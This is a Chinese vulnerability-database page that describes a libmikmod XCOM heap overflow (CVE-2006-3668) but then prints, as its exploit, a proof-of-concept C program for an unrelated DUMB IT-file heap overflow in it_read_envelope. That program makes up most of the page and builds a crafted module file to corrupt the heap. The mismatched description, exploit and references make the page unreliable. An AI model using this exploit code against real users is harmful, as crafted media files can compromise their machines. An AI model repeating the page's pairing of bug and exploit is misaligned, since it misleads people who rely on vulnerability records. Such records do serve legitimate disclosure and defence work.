Libmikmod XCOM处理器远程堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110651 漏洞类型 缓冲区溢出
发布时间 2006-07-19 更新时间 2006-09-06
CVE编号 CVE-2006-3668 CNNVD-ID CNNVD-200607-235
漏洞平台 Windows CVSS评分 7.6
|漏洞来源
https://www.exploit-db.com/exploits/2037
https://www.securityfocus.com/bid/19025
https://cxsecurity.com/issue/WLB-2006070013
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-235
|漏洞详情
libmikmod是Mikmod所使用的函数库,主要用于播放各种类型的音频模块。libmikmod在处理XCOM对象时存在堆溢出漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。在处理XCOM块时libmikmod读取了用于指定标注大小的32位数字,然后分配等于该大小加1的内存,以容纳标注末尾可能的空字节。因此如果攻击者使用了0xffffffff值(0xffffffff+1=0)的话,函数库就可能分配0字节的内存。然后在试图读取大小值所指定的内存数量时,就会导致堆溢出。loaders/load_gt2.c中的漏洞代码:GT_CHUNK*loadChunk(void)...if(!memcmp(new_chunk,"XCOM",4)){new_chunk->xcom.chunk_size=_mm_read_M_ULONG(modreader);new_chunk->xcom.comment_len=_mm_read_M_ULONG(modreader);new_chunk->xcom.comment=MikMod_malloc(new_chunk->xcom.comment_len+1);_mm_read_UBYTES(new_chunk->xcom.comment,new_chunk->xcom.comment_len,modreader);returnnew_chunk;}...
|漏洞EXP
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>



#define VER         "0.1"
#define BOF         255     // 25 < BOF < 256
#define INSTRSZ     371
#define POCNAME     "proof-of-concept"



void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwb08(FILE *fd, int num);
void fwb16(FILE *fd, int num);
void fwb32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwstx(FILE *fd, uint8_t *str, int size);
void fwmem(FILE *fd, uint8_t *data, int size);
int bits2num(uint8_t *bits);
void std_err(void);



#pragma pack(1)
typedef struct {
    uint8_t     sign[4];    // IMPM
    uint8_t     name[26];
    uint16_t    PHiligt;
    uint16_t    OrdNum;
    uint16_t    InsNum;
    uint16_t    SmpNum;
    uint16_t    PatNum;
    uint16_t    Cwtv;
    uint16_t    Cmwt;
    uint16_t    Flags;
    uint16_t    Special;
    uint8_t     GV;
    uint8_t     MV;
    uint8_t     IS;
    uint8_t     IT;
    uint8_t     Sep;
    uint8_t     PWD;
    uint16_t    MsgLgth;
    uint32_t    MsgOff;
    uint32_t    Reserved;
} it_t;

typedef struct {
    uint8_t     Flg;
    uint8_t     Num;
    uint8_t     LpB;
    uint8_t     LpE;
    uint8_t     SLB;
    uint8_t     SLE;
//    int8_t      node_y[25];
//    uint16_t    node_t[25];
} it_env_t;

typedef struct {
    uint8_t     sign[4];    // IMPI
    uint8_t     filename[13];
    uint8_t     NNA;
    uint8_t     DCT;
    uint8_t     DCA;
    uint16_t    FadeOut;
    uint8_t     PPS;
    uint8_t     PPC;
    uint8_t     GbV;
    uint8_t     DfP;
    uint8_t     RV;
    uint8_t     RP;
    uint16_t    TrkVers;
    uint16_t    NoS;
    uint8_t     insname[26];
    uint8_t     IFC;
    uint8_t     IFR;
    uint8_t     MCh;
    uint8_t     MPr;
    uint16_t    MIDIBnk;
    uint8_t     nsample[120];
    uint8_t     ktable[120];
} it_ins_t;
#pragma pack()



int main(int argc, char *argv[]) {
    FILE    *fd;
    it_t    it;
    it_ins_t    it_ins;
    it_env_t    it_env;
    int     i,
            off;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
        "Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output_file.IT>\n"
            "\n"
            "Note: this proof-of-concept is not optimized, it gives only an idea of the bug\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    memset(&it, 0, sizeof(it));
    memcpy(it.sign, "IMPM", 4);
    strncpy(it.name, POCNAME, sizeof(it.name));
    it.Cmwt   = 0x200;
    it.OrdNum = 1;                              // required
    it.InsNum = 1;                              // envelope is read here

    off =
        sizeof(it) +
        64 +
        64 +
        (it.OrdNum * 1) +
        (it.InsNum * 4) +
        (it.SmpNum * 4) +
        (it.PatNum * 4);

    for(i = 0; i < off; i++) fputc(0, fd);      // create needed space

        /* it_read_instrument */

    memset(&it_ins, 0, sizeof(it_ins));
    memcpy(it_ins.sign, "IMPI", 4);
    strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename));
    strncpy(it_ins.insname,  POCNAME, sizeof(it_ins.insname));

    fwrite(&it_ins, sizeof(it_ins), 1, fd);

        /* it_read_envelope */

    memset(&it_env, 0, sizeof(it_env));

        /* instrument->volume_envelope */

    it_env.Num = 25;
    fwrite(&it_env, sizeof(it_env), 1, fd);
    for(i = 0; i < it_env.Num; i++) {
        fwi08(fd, 0x61);                        // envelope->node_y[i]
        fwi16(fd, 0x6161);                      // envelope->node_t[i]
    }
    for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
        fwi08(fd, 0);                           // 75 - envelope->n_nodes * 3 + 1
    }

        /* instrument->pan_envelope */

    it_env.Num = 25;
    fwrite(&it_env, sizeof(it_env), 1, fd);
    for(i = 0; i < it_env.Num; i++) {
        fwi08(fd, 0x62);                        // envelope->node_y[i]
        fwi16(fd, 0x6262);                      // envelope->node_t[i]
    }
    for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
        fwi08(fd, 0);                           // 75 - envelope->n_nodes * 3 + 1
    }

        /* instrument->pitch_envelope */

    it_env.Num = BOF;
    fwrite(&it_env, sizeof(it_env), 1, fd);
    for(i = 0; i < it_env.Num; i++) {
        fwi08(fd, 0xff);                        // envelope->node_y[i]
        fwi16(fd, 0xffff);                      // envelope->node_t[i]
    }
    /* 0xff is used for overwriting sampfirst with a negative value! */
    /* m = component[n].sampfirst;                                   */
    /* Note: this PoC is not optimized                               */

    printf(
        "- the IT_INSTRUMENT structure will be overflowed:\n"
        "  there are %d bytes from the end of pitch_envelope to the end of map_sample\n"
        "  while %d bytes will be written by this proof-of-concept\n",
        INSTRSZ,
        ((BOF - 25) * sizeof(unsigned short)) + INSTRSZ);

        /* it_load_sigdata */

    fseek(fd, 0, SEEK_SET);

    fwrite(&it, sizeof(it), 1, fd);

    for(i = 0; i < 64; i++) fwi08(fd, 0);       // sigdata->channel_pan
    for(i = 0; i < 64; i++) fwi08(fd, 0);       // sigdata->channel_volume

    for(i = 0; i < it.OrdNum; i++) {
        fwi08(fd, 255);                         // sigdata->order
    }                                           // 255 for found_some = 0 or will SIGFPE
    for(i = 0; i < it.InsNum; i++) {
        fwi32(fd, off);                         // component[n_components].offset
    }
//    for(i = 0; i < it.SmpNum;  i++) fwi32(fd, off);
//    for(i = 0; i < it.PatNum;  i++) fwi32(fd, off);
//    for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a');

    fclose(fd);
    printf("- finished\n");
    return(0);
}



void fwi08(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
}



void fwi16(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
}



void fwi32(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >> 24) & 0xff, fd);
}



void fwb08(FILE *fd, int num) {
    fputc((num      ) & 0xff, fd);
}



void fwb16(FILE *fd, int num) {
    fputc((num >>  8) & 0xff, fd);
    fputc((num      ) & 0xff, fd);
}



void fwb32(FILE *fd, int num) {
    fputc((num >> 24) & 0xff, fd);
    fputc((num >> 16) & 0xff, fd);
    fputc((num >>  8) & 0xff, fd);
    fputc((num      ) & 0xff, fd);
}



void fwstr(FILE *fd, uint8_t *str) {
    fputs(str, fd);
}



void fwstx(FILE *fd, uint8_t *str, int size) {
    int     i;

    for(i = 0; str[i] && (i < size); i++) {
        fputc(str[i], fd);
    }
    for(; i < size; i++) {
        fputc(0, fd);
    }
}



void fwmem(FILE *fd, uint8_t *data, int size) {
    fwrite(data, size, 1, fd);
}



int bits2num(uint8_t *bits) {
    int     i,
            out = 0;

    for(i = 0; i < 32; i++) {
        if(bits[i] == '1') {
            out = (out << 1) | 1;
        } else if(bits[i] == '0') {
            out <<= 1;
        } else {
            break;
        }
    }
    return(out);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

// milw0rm.com [2006-07-19]
|受影响的产品
Gentoo Linux DUMB DUMB 0.9.3 DUMB DUMB 0.9.2 DUMB DUMB 0.9.1 DUMB DUMB 0.9 Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3
|参考资料

来源:BID
名称:19025
链接:http://www.securityfocus.com/bid/19025
来源:GENTOO
名称:GLSA-200608-14
链接:http://www.gentoo.org/security/en/glsa/glsa-200608-14.xml
来源:VUPEN
名称:ADV-2006-2835
链接:http://www.frsirt.com/english/advisories/2006/2835
来源:DEBIAN
名称:DSA-1123
链接:http://www.debian.org/security/2006/dsa-1123
来源:SECUNIA
名称:21416
链接:http://secunia.com/advisories/21416
来源:SECUNIA
名称:21184
链接:http://secunia.com/advisories/21184
来源:SECUNIA
名称:21092
链接:http://secunia.com/advisories/21092
来源:MISC
链接:http://aluigi.altervista.org/adv/dumbit-adv.txt
来源:XF
名称:dumb-itreadenvelope-bo(27789)
链接:http://xforce.iss.net/xforce/xfdb/27789
来源:SREASON
名称:1240
链接:http://securityreason.com/securityalert/1240